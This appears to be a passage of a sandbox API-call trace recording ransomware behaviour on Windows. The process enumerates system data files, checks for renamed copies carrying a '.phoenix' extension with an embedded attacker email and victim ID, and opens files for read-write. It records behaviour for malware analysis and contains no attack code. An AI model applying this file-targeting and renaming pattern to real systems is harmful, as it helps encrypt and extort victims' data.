	[0250.631] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.632] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.632] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.634] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.635] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.635] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.637] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.638] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.640] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.641] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.643] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.644] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.644] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.646] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.647] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.647] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.648] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.653] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.654] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.656] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.657] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.657] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.657] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.658] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28859) returned 1
	[0250.658] CloseHandle (hObject=0x2c4) returned 1
	[0250.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml")) returned 0x20
	[0250.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.659] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0250.659] CloseHandle (hObject=0x2c4) returned 1
	[0250.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20
	[0250.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.660] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.660] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0250.660] CloseHandle (hObject=0x2c4) returned 1
	[0250.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20
	[0250.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.660] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.661] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0250.661] CloseHandle (hObject=0x2c4) returned 1
	[0250.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20
	[0250.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.661] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.661] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=196608) returned 1
	[0250.661] CloseHandle (hObject=0x2c4) returned 1
	[0250.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20
	[0250.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.662] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=79711) returned 1
	[0250.662] CloseHandle (hObject=0x2c4) returned 1
	[0250.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20
	[0250.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.662] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18289) returned 1
	[0250.662] CloseHandle (hObject=0x2c4) returned 1
	[0250.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20
	[0250.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.663] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5949) returned 1
	[0250.663] CloseHandle (hObject=0x2c4) returned 1
	[0250.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20
	[0250.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.664] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3111) returned 1
	[0250.664] CloseHandle (hObject=0x2c4) returned 1
	[0250.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20
	[0250.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.665] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.665] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
